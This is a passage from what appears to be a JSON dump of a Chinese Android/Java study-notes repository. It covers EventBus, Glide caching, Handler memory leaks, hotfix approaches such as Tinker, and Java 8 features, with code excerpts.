如果是主线程  直接调用   invokeSubscriber(subscription, event)\n          直接通过反射 调用.invoke传入对象和参数\n          subscription.subscriberMethod.method.invoke(subscription.subscriber, event);\n\n    \t\t\n        private void postToSubscription(Subscription subscription, Object event, boolean isMainThread) {\n    \n        Log.i(\"qy\",\"postToSubscription处理线程切换问题\");\n        switch (subscription.subscriberMethod.threadMode) {\n            case POSTING:\n                // 不切换线程，post和订阅者方法在同一个线程执行\n                invokeSubscriber(subscription, event);\n                break;\n            case MAIN:\n                Log.i(\"qy\",\"订阅方法需要在主线程\");\n                if (isMainThread) {\n                    Log.i(\"qy\",\"post方法在主线程，直接反射去掉用\");\n                    invokeSubscriber(subscription, event);\n                } else {\n                    Log.i(\"qy\",\"post方法在子线程，通过Handler切换到主线程\");\n                    mainThreadPoster.enqueue(subscription, event);\n                }\n                break;\n            case MAIN_ORDERED:\n                Log.i(\"qy\",\"订阅方法需要在主线程排队执行\");\n                if (mainThreadPoster != null) {\n                    Log.i(\"qy\",\"开始排队执行\");\n                    mainThreadPoster.enqueue(subscription, event);\n                } else {\n                    Log.i(\"qy\",\"反射立刻执行\");\n                    // temporary: technically not correct as poster not decoupled from subscriber\n                    invokeSubscriber(subscription, event);\n                }\n                break;\n            case BACKGROUND:\n                Log.i(\"qy\",\"订阅者需要再 后台执行 BACKGROUND，可以允许排队执行\");\n                if (isMainThread) {\n                    Log.i(\"qy\",\"Post在主线程，所以喜欢转换子线程执行，并且排队执行\");\n                    backgroundPoster.enqueue(subscription, event);\n                } else {\n                    Log.i(\"qy\",\"post在子线程，所以可以立即执行\");\n                    invokeSubscriber(subscription, event);\n                }\n                break;\n            case ASYNC:\n                Log.i(\"qy\",\"订阅者需要再 后台执行 不需要排队，直接交给线程池异步执行\");\n                asyncPoster.enqueue(subscription, event);\n                break;\n            default:\n                throw new IllegalStateException(\"Unknown thread mode: \" + subscription.subscriberMethod.threadMode);\n        }\n    }\n\n\n\n#### 5. Unregister 方法干了什么\n\n\n    /** Unregisters the given subscriber from all event classes. */\n    public synchronized void unregister(Object subscriber) {\n        List<Class<?>> subscribedTypes = typesBySubscriber.get(subscriber);\n        if (subscribedTypes != null) {\n            for (Class<?> eventType : subscribedTypes) {\n                unsubscribeByEventType(subscriber, eventType);\n            }\n            typesBySubscriber.remove(subscriber);\n        } else {\n            logger.log(Level.WARNING, \"Subscriber to unregister was not registered before: \" + subscriber.getClass());\n        }\n    }\n        \n        /** Only updates subscriptionsByEventType, not typesBySubscriber! Caller must update typesBySubscriber. */\n        private void unsubscribeByEventType(Object subscriber, Class<?> eventType) {\n            List<Subscription> subscriptions = subscriptionsByEventType.get(eventType);\n            if (subscriptions != null) {\n                int size = subscriptions.size();\n                for (int i = 0; i < size; i++) {\n                    Subscription subscription = subscriptions.get(i);\n                    if (subscription.subscriber == subscriber) {\n                        subscription.active = false;\n                        subscriptions.remove(i);\n                        i--;\n                        size--;\n                    }\n                }\n            }\n        }\n\n\n也就是说，unregister 先通过传过来的订阅者找个所有订阅事件类型,比如一个LoginActivity订阅者，里面有很多有参数为 FindEvent LoginEvent 等等，这里也就是先前在订阅的时候保存的集合typesBySubscriber开始派上用场了，接着 通过事件类型 去subscriptionsByEventType 查找所有订阅者，并且判断订阅者等于当前LoginActivity这个，然后remove，同时也要typesBySubscribler 也要remove\n\n\n\n\n#### 技术点：ThreadLocal保证多线程不干扰，\n\n  CopyOnWriteArrayList 保证多线程安全，提高效率，通过复制，改变引用的方式，\n  双校验单例模式并使用voliate 阻止重排序问题\n  \n              \n   \n\nBackgroundPoster：后台发布人\n\n         private final PendingPostQueue queue;\n         private final EventBus eventBus;\n         private volatile boolean executorRunning;\n\n           BackgroundPoster implements Runnable, Poster\n\n      enqueue 方法：\n         1. 从pendingPostPool中获取一个PendingPost 对象并赋予新的属性值\n         2.将PendingPost添加到PendingPostQueue队列，这是一个同步代码块\n          3.判断一下线程池是否运行，运行就等待，否者就\n\nPoster  发布人\n        void enqueue(Subscription subscription, Object event);\n\n     \n\nPendingPost 是一个链表，具有3个属性，事件，订阅者和next，pendingPostPool用来作为PendingPost缓存，也就是\n\nprivate final static List<PendingPost> pendingPostPool = new ArrayList<PendingPost>();\n\nObject event;\nSubscription subscription;\nPendingPost next;\n"
  },
  {
    "path": "docs/android/sources/fifo.md",
    "content": "### LinkHashMap 实现FIFO\n\n\n- FIFO是First Input First Output的缩写，也就是常说的先入先出，默认情况下LinkedHashMap就是按照添加顺序保存，我们只需重写下removeEldestEntry方法即可轻松实现一个FIFO缓存，简化版的实现代码如下\n\n\n    final int cacheSize = 5;\n    LinkedHashMap<Integer, String> lru = new LinkedHashMap<Integer, String>() {\n        @Override\n        protected boolean removeEldestEntry(Map.Entry<Integer, String> eldest) {\n        return size() > cacheSize;\n        }\n    };"
  },
  {
    "path": "docs/android/sources/foreach.md",
    "content": "### Java foreach原理\n\n\n1. 常规写法\n\n\n        for(int i=0; i<list.size; i++){\n        //.....\n        }\n\n2. 简单写法\n\n\n        List<String> list = new ArrayList<String>();\n        for(String e : list){\n        //\n        }\n\n3. foreach原理\n\n    1. 对于list集合\n\n            List<String> a = new ArrayList<String>();\n            a.add(\"1\");\n            a.add(\"2\");\n            a.add(\"3\");\n\n            for(String temp : a){\n               System.out.print(temp);\n            }\n      反编译：\n             List a = new ArrayList();\n             a.add(\"1\");\n             a.add(\"2\");\n             a.add(\"3\");\n             String temp;\n             for(Iterator i$ = a.iterator(); i$.hasNext(); System.out.print(temp)){\n                temp = (String)i$.next();\n             }\n\n      2. 遍历数组\n\n            String[] arr = {\"1\",\"2\"};\n            for(String e : arr){\n            System.out.println(e);\n            }\n\n      反编译后代码：\n\n            String arr[] = { \"1\", \"2\" };\n            String arr$[] = arr;\n            int len$ = arr$.length;\n            for(int i$ = 0; i$ < len$; i$++)\n            {\n                String e = arr$[i$];\n                System.out.println(e);\n            }\n\n 总结，遍历集合是对应的集合必须实现Iterator接口，遍历数组直接转成for i的形式"
  },
  {
    "path": "docs/android/sources/fragment_lazy_load.md",
    "content": "### Fragment 懒加载\n\n\n1.在onCreate方法中判断getUserVisibleHint()判断当前是否显示，然后进行拉数据更细\n\n2. 如果不更新UI可以把拉去数据逻辑写在setUserVisibleHint(boolean isVisibleToUser)方法li\n因为这个方法早与onCreate，所以如果数据秒回更新Ui会有问题\n"
  },
  {
    "path": "docs/android/sources/frame.md",
    "content": "### Android应用架构设计\n\n没有最好的组件，只有更适合业务场景的组件\n\n整个项目分为三层，从下往上分别是：\n\n1. Basic Component Layer: 基础组件层，顾名思义就是一些基础组件，包含了各种开源库以及和业务无关的各种自研工具库；\n  (okhttp3,RxJava，Retrofit,RxAndroid,LeakCanary,路由组件，Glide，第三方的库)和（自研的一些库比如UIWidget,CommonUtil,InjectView,ActionLog）\n  \n  \n2. Business Component Layer: 业务组件层（这一层一个有可以没有，大型项目肯定会有），这一层的所有组件都是业务相关的;\n（例如支付组件，推送组件(自己websocket实现的),公共登录组件等（可以给多个module用，比如开发两款产品）,H5组件，视频组件，文件组件）\n\n\n3. Business Module Layer: 业务 Module 层，在 Android Studio 中每块业务对应一个单独的 Module。\n（钱包模块，商城模块，动态模块，收发快递模块）\n\n\n4. App壳将各个组件组装协作\n\n\n\n然后每个模块使用MVP模式\n\n\n也可以采用插件化"
  },
  {
    "path": "docs/android/sources/glide.md",
    "content": "### Glide 源码分析\n\n1. Glide.with(context)  调用GlideBuilder创建一个Glide ,最终返回一个RequestManager\n2. GlideBuilder.build 会创建这些\n\n        return new Glide(\n            context,\n            engine,\n            memoryCache,\n            bitmapPool,\n            arrayPool,\n            requestManagerRetriever,\n            connectivityMonitorFactory,\n            logLevel,\n            defaultRequestOptions.lock());\n        }\n\n3. RequestManager.load()方法,\n\n\n         // RequestManager 380行  通过前面创建的glide 创建个RequestBuilder\n         public <ResourceType> RequestBuilder<ResourceType> as(Class<ResourceType> resourceClass) {\n           return new RequestBuilder<>(glide, this, resourceClass);\n         }\n\n          // RequestBuilder 190行\n\n          @SuppressWarnings(\"unchecked\")\n          public RequestBuilder<TranscodeType> load(@Nullable Object model) {\n            return loadGeneric(model);\n          }\n          private RequestBuilder<TranscodeType> loadGeneric(@Nullable Object model) {\n             this.model = model;\n             isModelSet = true;\n             return this;\n           }\n\n4. RequestBuilder.apply 配置请求参数\n\n5. RequestBuilder.into\n\n\n        //RequestBuilder  381 通过GlideContext 封装Target\n        public Target<TranscodeType> into(ImageView view) {\n         .....\n         return into(context.buildImageViewTarget(view, transcodeClass));\n        }\n\n        // RequestBuilder 349行\n        public <Y extends Target<TranscodeType>> Y into(@NonNull Y target) {\n           Util.assertMainThread();\n           Preconditions.checkNotNull(target);\n           if (!isModelSet) {\n             throw new IllegalArgumentException(\"You must call #load() before calling #into()\");\n           }\n\n           Request previous = target.getRequest();\n\n           if (previous != null) {\n             requestManager.clear(target);\n           }\n\n           requestOptions.lock();\n           Request request = buildRequest(target);\n           target.setRequest(request);\n           requestManager.track(target, request);\n\n           return target;\n         }\n 6. RequestBuilder 633行 构建request SingleRequest\n\n  private Request obtainRequest(Target<TranscodeType> target,\n          RequestOptions requestOptions, RequestCoordinator requestCoordinator,\n          TransitionOptions<?, ? super TranscodeType> transitionOptions, Priority priority,\n          int overrideWidth, int overrideHeight) {\n        requestOptions.lock();\n\n        return SingleRequest.obtain(\n            context,\n            model,\n            transcodeClass,\n            requestOptions,\n            overrideWidth,\n            overrideHeight,\n            priority,\n            target,\n            requestListener,\n            requestCoordinator,\n            context.getEngine(),\n            transitionOptions.getTransitionFactory());\n      }\n\n  7. RequestManager 446 发送请求\n\n\n      void track(Target<?> target, Request request) {\n        targetTracker.track(target);\n        requestTracker.runRequest(request);\n      }\n\n\n  8. SingleRequest.runRequest\n\n          // 399行\n          onSizeReady()\n\n          engine.load()\n\n  9. Engine load()\n      // 212 行，开启一个线程\n      engineJob.start(decodeJob);\n\n  10. EngineJob start() 行\n\n\n           public void start(DecodeJob<R> decodeJob) {\n              this.decodeJob = decodeJob;\n              // 过去Glide线程池，核心线程是1，最大线程4，Keep alive 10秒\n              GlideExecutor executor = decodeJob.willDecodeFromCache()\n                  ? diskCacheExecutor\n                  : getActiveSourceExecutor();\n              executor.execute(decodeJob);\n            }\n\n   11. DecodeJob run()  212行\n\n\n          - 调用 runWrapped 244\n\n\n\n                  private void runWrapped() {\n                       switch (runReason) {\n                        case INITIALIZE:\n                          stage = getNextStage(Stage.INITIALIZE);\n                          currentGenerator = getNextGenerator();\n                          runGenerators();\n                          break;\n                        case SWITCH_TO_SOURCE_SERVICE:\n                          runGenerators();\n                          break;\n                        case DECODE_DATA:\n                          decodeFromRetrievedData();\n                          break;\n                        default:\n                          throw new IllegalStateException(\"Unrecognized run reason: \" + runReason);\n                      }\n                    }\n\n          - 调用 runGenerators  277\n\n\n           private void runGenerators() {\n              currentThread = Thread.currentThread();\n              startFetchTime = LogTime.getLogTime();\n              boolean isStarted = false;\n              while (!isCancelled && currentGenerator != null\n                  && !(isStarted = currentGenerator.startNext())) {\n                stage = getNextStage(stage);\n                currentGenerator = getNextGenerator();\n\n                if (stage == Stage.SOURCE) {\n                  reschedule();\n                  return;\n                }\n              }\n              // We've run out of stages and generators, give up.\n              if ((stage == Stage.FINISHED || isCancelled) && !isStarted) {\n                notifyFailed();\n              }\n\n              // Otherwise a generator started a new load and we expect to be called back in\n              // onDataFetcherReady.\n            }\n\n    12. DataFetcherGenerator ResourceCacheGenerator startNext()\n        // 从磁盘缓存中查找\n        cacheFile = helper.getDiskCache().get(currentKey);\n\n\n\n        // 然后放到activiteResource 里面\n        // 但是用完后，再放入LruCache 里面\n\n\n\n#### activeResources写入\n        // Engine 283\n\n        @Override\n        public void onEngineJobComplete(Key key, EngineResource<?> resource) {\n            Util.assertMainThread();\n            // A null resource indicates that the load failed, usually due to an exception.\n            if (resource != null) {\n                resource.setResourceListener(key, this);\n                if (resource.isCacheable()) {\n                    activeResources.put(key, new ResourceWeakReference(key, resource, getReferenceQueue()));\n                }\n            }\n            jobs.remove(key);\n        }\n\n#### EngineResource   private int acquired;用来做引用计数\n\n#### 当引用计数为0的时候会将图片放到LruCache中。  Engine 313\n\n\n    @Override\n    public void onResourceReleased(Key cacheKey, EngineResource resource) {\n        Util.assertMainThread();\n        activeResources.remove(cacheKey);\n        if (resource.isCacheable()) {\n            cache.put(cacheKey, resource);\n        } else {\n            resourceRecycler.recycle(resource);\n        }\n    }\n\n\n\n当滑动图片列表的时候，系统会根据需要将这些图片资源给回收掉，所以activeResources.get(key).get()得到的就会为空，为空也没有必要添加到LruCache中了。\n但是这样子一来，activeResources中就会有很多没有用的项了，而它们又没有被移除掉。为了解决MessageQueue.IdleHandler这个问题。\n（IdleHandler也可以用来解决App启动延时加载的问题，具体可以看Android启动优化之延时加载）\n\n\n\n    private static class RefQueueIdleHandler implements MessageQueue.IdleHandler {\n        private final Map<Key, WeakReference<EngineResource<?>>> activeResources;\n        private final ReferenceQueue<EngineResource<?>> queue;\n\n        public RefQueueIdleHandler(Map<Key, WeakReference<EngineResource<?>>> activeResources,\n                ReferenceQueue<EngineResource<?>> queue) {\n            this.activeResources = activeResources;\n            this.queue = queue;\n        }\n\n        @Override\n        public boolean queueIdle() {\n            // 被回收掉的要移除\n            ResourceWeakReference ref = (ResourceWeakReference) queue.poll();\n            if (ref != null) {\n                activeResources.remove(ref.key);\n            }\n\n            return true;\n        }\n    }\n\n\n\nGlide加载默认情况下可以分为三级缓存，哪三级呢？他们分别是内存、磁盘和网络。\n\n\n默认情况下，Glide 会在开始一个新的图片请求之前检查以下多级的缓存：\n\n1.活动资源 (Active Resources) - 现在是否有另一个 View 正在展示这张图片\n2.内存缓存 (Memory cache) - 该图片是否最近被加载过并仍存在于内存中\n3.资源类型（Resource） - 该图片是否之前曾被解码、转换并写入过磁盘缓存\n4.数据来源 (Data) - 构建这个图片的资源是否之前曾被写入过文件缓存\n\n\n"
  },
  {
    "path": "docs/android/sources/handle_leak.md",
    "content": "### Handler内存泄露原理与解决\n    \n    \n    public class LeakCanaryActivity extends AppCompatActivity\n    \n        private  Handler mHandler;\n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n    \n            mHandler = new Handler() {\n                @Override\n                public void handleMessage(Message msg) {\n                    super.handleMessage(msg);\n    \n                }\n            };\n    \n            Message message = Message.obtain();\n            message.what = 1;\n            mHandler.sendMessageDelayed(message,10*60*1000);\n        }\n    \n    }\n\n这段代码的逻辑很简单，mHandler延时了10分钟发送消息，类似的代码在我们的项目中也经常出现，但是这样的代码会出现一个问题。\n\n1.问题\n\n    我们在项目中集成 Square 的开源库 LeakCanary,有关这个库的介绍及使用请看：Github.LeakCanary。\n    \n    我们首先打开 LeakCanaryActivity ，然后按返回键将这个Activity finish 掉。等待几秒屏幕上会弹出提醒和通知，这说明此时发生了内存泄露的现象。\n\n2.原因\n\n    究竟是什么时候发生了内存泄露的问题呢？\n    \n    我们知道在Java中，非静态内部类会隐性地持有外部类的引用，二静态内部类则不会。在上面的代码中，Message在消息队列中延时了10分钟，然后才处理该消息。而这个消息引用了Handler对象，Handler对象又隐性地持有了Activity的对象，当发生GC是以为 message – handler – acitivity 的引用链导致Activity无法被回收，所以发生了内存泄露的问题。\n    \n    危害\n    \n    众所周知，内存泄露在 Android 开发中是一个比较严重的问题，系统给每一个应用分配的内存是固定的，一旦发生了内存泄露，就会导致该应用可用内存越来越小，严重时会发生 OOM 导致 Force Close。\n\n3.这个问题该如何解决呢？\n\n使用弱引用\n\n首先我们需要理解一下相关概念：\n\n强引用：强引用是使用最普遍的引用。如果一个对象具有强引用，那垃圾回收器绝不会回收它。当内存空间不足，Java虚拟机宁愿抛出OutOfMemoryError错误，使程序异常终止，也不会靠随意回收具有强引用的对象来解决内存不足的问题。\n软应用：如果一个对象只具有软引用，则内存空间足够，垃圾回收器就不会回收它；如果内存空间不足了，就会回收这些对象的内存。只要垃圾回收器没有回收它，该对象就可以被程序使用。软引用可用来实现内存敏感的高速缓存。\n弱引用：弱引用与软引用的区别在于：只具有弱引用的对象拥有更短暂的生命周期。在垃圾回收器线程扫描它所管辖的内存区域的过程中，一旦发现了只具有弱引用的对象，不管当前内存空间足够与否，都会回收它的内存。不过，由于垃圾回收器是一个优先级很低的线程，因此不一定会很快发现那些只具有弱引用的对象。\n用更直白的语言描述就是，java对于 强引用 的对象,就绝不收回，对于 软引用 的对象，是能不收回就不收回，这里的能不收回就是指内存足够的情况，对于 弱引用 的对象，是发现就收回，但是一般情况下不会发现。\n\n很显然，出现内存泄露问提的原因，就是 Handler 对 Activity 是强引用，导致 GC 在回收 Activity 时无法回收。为了解决这个问题，我们可以把 Handler 对 Activity 弱引用，这样 GC 就能把 Activity 及时的回收，从而杜绝了内存泄露的问题。\n\n    public class NoLeakActivity extends AppCompatActivity {\n    \n        private NoLeakHandler mHandler;\n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n    \n            mHandler = new NoLeakHandler(this);\n    \n            Message message = Message.obtain();\n    \n            mHandler.sendMessageDelayed(message,10*60*1000);\n        }\n    \n        private static class NoLeakHandler extends Handler{\n            private WeakReference<NoLeakActivity> mActivity;\n    \n            public NoLeakHandler(NoLeakActivity activity){\n                mActivity = new WeakReference<>(activity);\n            }\n    \n            @Override\n            public void handleMessage(Message msg) {\n                super.handleMessage(msg);\n            }\n        }\n    }\n\n\n2.及时清除消息\n\n    在原因中我们说到，正是因为被延时处理的 message 持有 Handler 的引用，Handler 持有对 Activity 的引用，形成了message – handler – activity 这样一条引用链，导致 Activity 的泄露。因此我们可以尝试在当前界面结束时将消息队列中未被处理的消息清除，从源头上解除了这条引用链，从而使 Activity 能被及时的回收。\n    \n    public class LeakCanaryActivity extends AppCompatActivity {\n    \n        private  Handler mHandler;\n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n    \n            mHandler = new Handler() {\n                @Override\n                public void handleMessage(Message msg) {\n                    super.handleMessage(msg);\n    \n                }\n            };\n    \n            Message message = Message.obtain();\n            message.what = 1;\n            mHandler.sendMessageDelayed(message,10*60*1000);\n        }\n    \n        @Override\n        protected void onDestroy() {\n            super.onDestroy();\n            mHandler.removeCallbacksAndMessages(null);\n        }\n    }\n\n"
  },
  {
    "path": "docs/android/sources/hash_confict.md",
    "content": "### Hash 冲突\n\n1. Hash冲突是指 不同的key  计算出同样的HashCode，此时HashMap通过链表的形式，将冲突的元素\n\n插入到链表头部，这个链表保存的是Entry<key,value>"
  },
  {
    "path": "docs/android/sources/hotfix.md",
    "content": "### 热修复技术和原理\n\n\nDex的热修复总结\nDex的热修复目前来看基本上有四种方案：\n\n阿里系的从native层入手，见AndFix\nQQ空间的方案，插桩，见安卓App热补丁动态修复技术介绍\n微信的方案，见微信Android热补丁实践演进之路，dexDiff和dexPatch，方法很牛逼，需要全量插入，但是这个全量插入的dex中需要删除一些过早加载的类，不然同样会报class is pre verified异常，还有一个缺点就是合成占内存和内置存储空间。微信读书的方式和微信类似，见Android Patch 方案与持续交付，不过微信读书是miniloader方式，启动时容易ANR，在我锤子手机上变现出来特别明显，长时间的卡图标现象。\n美团的方案，也就是instant run的方案，见Android热更新方案Robust\n\n\n#### 腾讯系\n1. QZone\nQQ空间超级补丁技术，基于虚拟机class loader动态加载，大致的过程就是：把BUG方法修复以后，放到一个单独的DEX里，应用启动后，将补丁dex插入到class loader的dexElements数组的最前面，让虚拟机优先去加载修复完后的方法。\n\n\n2. Tinker\n微信针对QQ空间超级补丁技术的不足提出了一个提供DEX差量包，整体替换DEX的方案。主要的原理是与QQ空间超级补丁技术基本相同，区别在于不再将patch.dex增加到elements数组中，而是差量的方式给出patch.dex，然后将patch.dex与应用的classes.dex合并，然后整体替换掉旧的DEX，达到修复的目的。\n\n\n\n#### Tinker原理：\n\n新dex与旧dex通过dex差分算法生成差异包 patch.dex\n将patch dex下发到客户端，客户端将patch dex与旧dex合成为新的全量dex\n将合成后的全量dex 插入到dex elements前面(此部分和QQ空间机制类似)，完成修复\n可见，Tinker和QQ空间方案最大的不同是，Tinker 下发新旧DEX的差异包，然后将差异包和旧包合成新dex之后进行dex的全量替换，这样也就避免了QQ空间中的插桩操作。然后我们详细看下每一个流程的详细实现细节。\nTinker的差量包patch.dex是如何生成的，Tinker生成新旧dex的差异包使用了微信自研的dexdiff算法，dexdiff算法是基于dex文件的结构来设计的，首先我们详细看一下dex文件结构：\n"
  },
  {
    "path": "docs/android/sources/imagedownload.md",
    "content": "### 图片下载原理\n\n\n1. 使用OKHttpClient或HttpConnection 发送一个网络请求，返回一个inputStream 转化为byte数组，\n通过BitmapFactory 将byte数组转化成bitmap，此时可以直接使用，也可以存储到本地\n\n\n        /**\n         * Get data from stream\n         * @param inStream\n         * @return byte[]\n         * @throws Exception\n         */\n        public static byte[] readStream(InputStream inStream) throws Exception{\n            ByteArrayOutputStream outStream = new ByteArrayOutputStream();\n            byte[] buffer = new byte[1024];\n            int len = 0;\n            while( (len=inStream.read(buffer)) != -1){\n                outStream.write(buffer, 0, len);\n            }\n            outStream.close();\n            inStream.close();\n            return outStream.toByteArray();\n        }\n        \n        \n        \n  // 使用OKHttp就可以通过response.body获取\n  \n  \n      \n      private void asyncGet() {\n            client = new OkHttpClient();\n            final Request request = new Request.Builder().get()\n                    .url(IMAGE_URL)\n                    .build();\n    \n            client.newCall(request).enqueue(new Callback() {\n                @Override\n                public void onFailure(Call call, IOException e) {\n                    e.printStackTrace();\n    \n                }\n    \n                @Override\n                public void onResponse(Call call, Response response) throws IOException {\n    \n                    Message message = handler.obtainMessage();\n                    if (response.isSuccessful()) {\n                        message.what = IS_SUCCESS;\n                        message.obj = response.body().bytes();\n                        handler.sendMessage(message);\n                    } else {\n                        handler.sendEmptyMessage(IS_FAIL);\n                    }\n                }\n            });\n        }"
  },
  {
    "path": "docs/android/sources/iterationAndroidrecursion.md",
    "content": "#### 迭代算法和递归算法区别\n\n举个例子：我想求1+2+3+4+..+100的值。\n迭代的做法：从1到100，顺着往下累加。1+2=3,3+3=6,6+4=10,10+5=15……\n            程序表示，\n            int i=1,sum=0;\n            while(i<=100){\n                 sum = sum +i; \n            }\n递归的做法：我要求1到100的累加值，如果我已经得到1到99的累加值，将这个值加上100就是1到100的累加值；要得到1到99的累加值，如果已经得到1到98的累加值，将这个值加上99，就是1到99的累加值……最后我要得到1到2的累加值，我如果得到1自身累加值，再加上2即可，1自身的累加值显然就是1了。于是现在我们得到了1到2的累加值，将这个值加3就得到了1到3的累加值，……最后直到得到1到100的累加值。\n       程序表示，其中函数会调用自身，这就是递归方法的典型特征\n       int GetSum(int n)\n      {\n           if(n<=0) return 0;\n           else return n+GetSum(n-1);\n      }\n\n上述例子中，其实递归最后得到结果也是用迭代方法完成的，只是在程序的处理上直观看不出来。两者都能很好的完成计算任务，\n\n不同之处在于思维方式上，从而导致不同的计算方法：迭代是正向思维，从头到尾思考问题；递归是逆向思维，他假设我们已经得到了部分结果(假设我已经知道了1到99的累加值，把这个值加上100我们就得到了1到100的累加值了)，从尾部追溯到头部，从而让问题简化(当然这个例子中看不出来，这里只是方便理解）"
  },
  {
    "path": "docs/android/sources/java8.md",
    "content": "### Java8 十大特性\n\nJAVA8 十大新特性详解\n2017年03月30日 22:14:17\n阅读数：13345\n一、接口的默认方法\n在接口中新增了default方法和static方法，这两种方法可以有方法体 \n1、static方法 \n示例代码：\npublic interface DefalutTest {\n    static int a =5;\n    default void defaultMethod(){\n        System.out.println(\"DefalutTest defalut 方法\");\n    }\n\n    int sub(int a,int b);\n\n    static void staticMethod() {\n        System.out.println(\"DefalutTest static 方法\");\n    }\n}\n\n接口里的静态方法，即static修饰的有方法体的方法不会被继承或者实现，但是静态变量会被继承 \n例如：我们添加一个接口DefalutTest的实现类DefaultTestImpl\npublic class DefaultTestImpl implements DefalutTest{\n\n    @Override\n    public int sub(int a, int b) {\n        // TODO Auto-generated method stub\n        return a-b;\n    }\n\n}\n\n如下图所示是这个实现类中所有可调用的方法： \n\n\n在这些方法里面我们无法找到staticMethod方法，则说明接口中的static方法不能被它的实现类直接使用。但是我们看到了defaultMethod，说明实现类可以直接调用接口中的default方法； \n那么如何使用接口中的static方法呢？？？ \n接口.static方法调用，如：DefalutTest.staticMethod();\n    public static void main(String[] args) {\n        DefaultTestImpl dtl = new DefaultTestImpl();\n        DefalutTest.staticMethod();\n    }\n\n当我们试图使用接口的子接口去调用父接口的static方法是，我们发现，无法调用，找不到方法： \n\n结论：接口中的static方法不能被继承，也不能被实现类调用，只能被自身调用\n2、default方法 \n准备一个子接口继承DefalutTest接口\npublic interface SubTest extends DefalutTest{\n\n}\n \n准备一个子接口的实现类\npublic class SubTestImp implements SubTest{\n\n    @Override\n    public int sub(int a, int b) {\n        // TODO Auto-generated method stub\n        return a-b;\n    }\n\n}\n\n\n现在我们创建一个子接口实现类对象，并调用对象中的default方法：\npublic class Main {\n\n    public static void main(String[] args) {\n        SubTestImp stl = new SubTestImp();\n        stl.defaultMethod();\n\n    }\n}\n\n执行结果： \nDefalutTest defalut 方法\n结论1：default方法可以被子接口继承亦可被其实现类所调用\n现在我们在子接口中重写default方法，在进行调用：\npublic interface SubTest extends DefalutTest{\n\n    default void defaultMethod(){\n        System.out.println(\"SubTest defalut 方法\");\n    }\n}\n\n执行结果：SubTest defalut 方法\n结论2：default方法被继承时，可以被子接口覆写\n现在，我们去除接口间的继承关系，并使得SubTestImp同时实现父接口和子接口，我们知道此时父接口和子接口中存在同名同参数的default方法，这会怎么样？ \n如下图所示，实现类报错，实现类要求必须指定他要实现那个接口中的default方法 \n\n结论3：如果一个类实现了多个接口，且这些接口中无继承关系，这些接口中若有相同的（同名，同参数）的default方法，则接口实现类会报错，接口实现类必须通过特殊语法指定该实现类要实现那个接口的default方法 \n特殊语法：<接口>.super.<方法名>([参数]) \n示例代码：\npublic class SubTestImp implements SubTest,DefalutTest{\n\n    @Override\n    public int sub(int a, int b) {\n        // TODO Auto-generated method stub\n        return a-b;\n    }\n\n    @Override\n    public void defaultMethod() {\n        // TODO Auto-generated method stub\n        DefalutTest.super.defaultMethod();\n    }\n\n}\n \n使用示例：\n//接口代码\n\n    interface Formula {\n        double calculate(int a);\n        default double sqrt(int a) {\n            return Math.sqrt(a);\n        }\n    }\n\n    //实现\n    Formula formula = new Formula() {\n        @Override\n        public double calculate(int a) {\n            return sqrt(a * 100);\n        }\n    };\n    formula.calculate(100);     // 100.0\n    formula.sqrt(16);           // 4.0\n \n二、Lambda 表达式\nLambda表达式可以看成是匿名内部类，使用Lambda表达式时，接口必须是函数式接口\n基本语法：\n            <函数式接口>  <变量名> = (参数1，参数2...) -> {\n                    //方法体\n        }\n \n说明： \n(参数1，参数2…)表示参数列表；->表示连接符；{}内部是方法体 \n1、=右边的类型会根据左边的函数式接口类型自动推断； \n2、如果形参列表为空，只需保留()； \n3、如果形参只有1个，()可以省略，只需要参数的名称即可； \n4、如果执行语句只有1句，且无返回值，{}可以省略，若有返回值，则若想省去{}，则必须同时省略return，且执行语句也保证只有1句； \n5、形参列表的数据类型会自动推断； \n6、lambda不会生成一个单独的内部类文件； \n7、lambda表达式若访问了局部变量，则局部变量必须是final的，若是局部变量没有加final关键字，系统会自动添加，此后在修改该局部变量，会报错；\n示例代码：\npublic interface LambdaTest {\n\n    abstract void print();\n}\n\npublic interface LambdaTest2 {\n\n    abstract void print(String a);\n}\n\npublic interface DefalutTest {\n\n    static int a =5;\n    default void defaultMethod(){\n        System.out.println(\"DefalutTest defalut 方法\");\n    }\n\n    int sub(int a,int b);\n\n    static void staticMethod() {\n        System.out.println(\"DefalutTest static 方法\");\n    }\n}\n\npublic class Main {\n\n    public static void main(String[] args) {\n        //匿名内部类--java8之前的实现方式\n        DefalutTest dt = new DefalutTest(){\n            @Override\n            public int sub(int a, int b) {\n                // TODO Auto-generated method stub\n                return a-b;\n            }\n        };\n\n        //lambda表达式--实现方式1\n        DefalutTest dt2 =(a,b)->{\n            return a-b;\n        };\n        System.out.println(dt2.sub(2, 1));\n\n        //lambda表达式--实现方式2，省略花括号\n        DefalutTest dt3 =(a,b)->a-b;\n        System.out.println(dt3.sub(5, 6));\n\n        //测试final\n        int c = 5;\n        DefalutTest dt4 =(a,b)->a-c;\n        System.out.println(dt4.sub(5, 6));\n\n        //无参方法，并且执行语句只有1条\n        LambdaTest lt = ()-> System.out.println(\"测试无参\");\n        lt.print();\n        //只有一个参数方法\n        LambdaTest2 lt1 = s-> System.out.println(s);\n        lt1.print(\"有一个参数\");\n    }\n}\n \n局部变量修改报错如图： \n\n\n若是强行修改也无法编译通过\nLambda表达式其他特性：\n1、引用实例方法： \n语法：\n    <函数式接口>  <变量名> = <实例>::<实例方法名>\n    //调用\n    <变量名>.接口方法([实际参数...])\n\n将调用方法时的传递的实际参数，全部传递给引用的方法，执行引用的方法； \n示例代码： \n如我们引用PrintStream类中的println方法。我们知道System类中有一个PrintStream的实例为out，引用该实例方法：System.out::println：\npublic class Main {\n\n    public static void main(String[] args) {\n\n        LambdaTest2 lt1 = s-> System.out.println(s);\n        lt1.print(\"有一个参数\");\n\n        //改写为：\n        LambdaTest2 lt2 = System.out::println;\n        lt2.print(\"实例引用方式调用\");\n    }\n}\n\n将lt2调用时的实际参数传递给了PrintStream类中的println方法，并调用该方法\n2、引用类方法： \n语法：\n    <函数式接口>  <变量名> = <类>::<类方法名称>\n    //调用\n    <变量名>.接口方法([实际参数...])\n \n将调用方法时的传递的实际参数，全部传递给引用的方法，执行引用的方法； \n示例代码： \n我们可以以数组排序方式为例\npublic interface LambdaTest3 {\n\n     abstract void sort(List<Integer> list,Comparator<Integer> 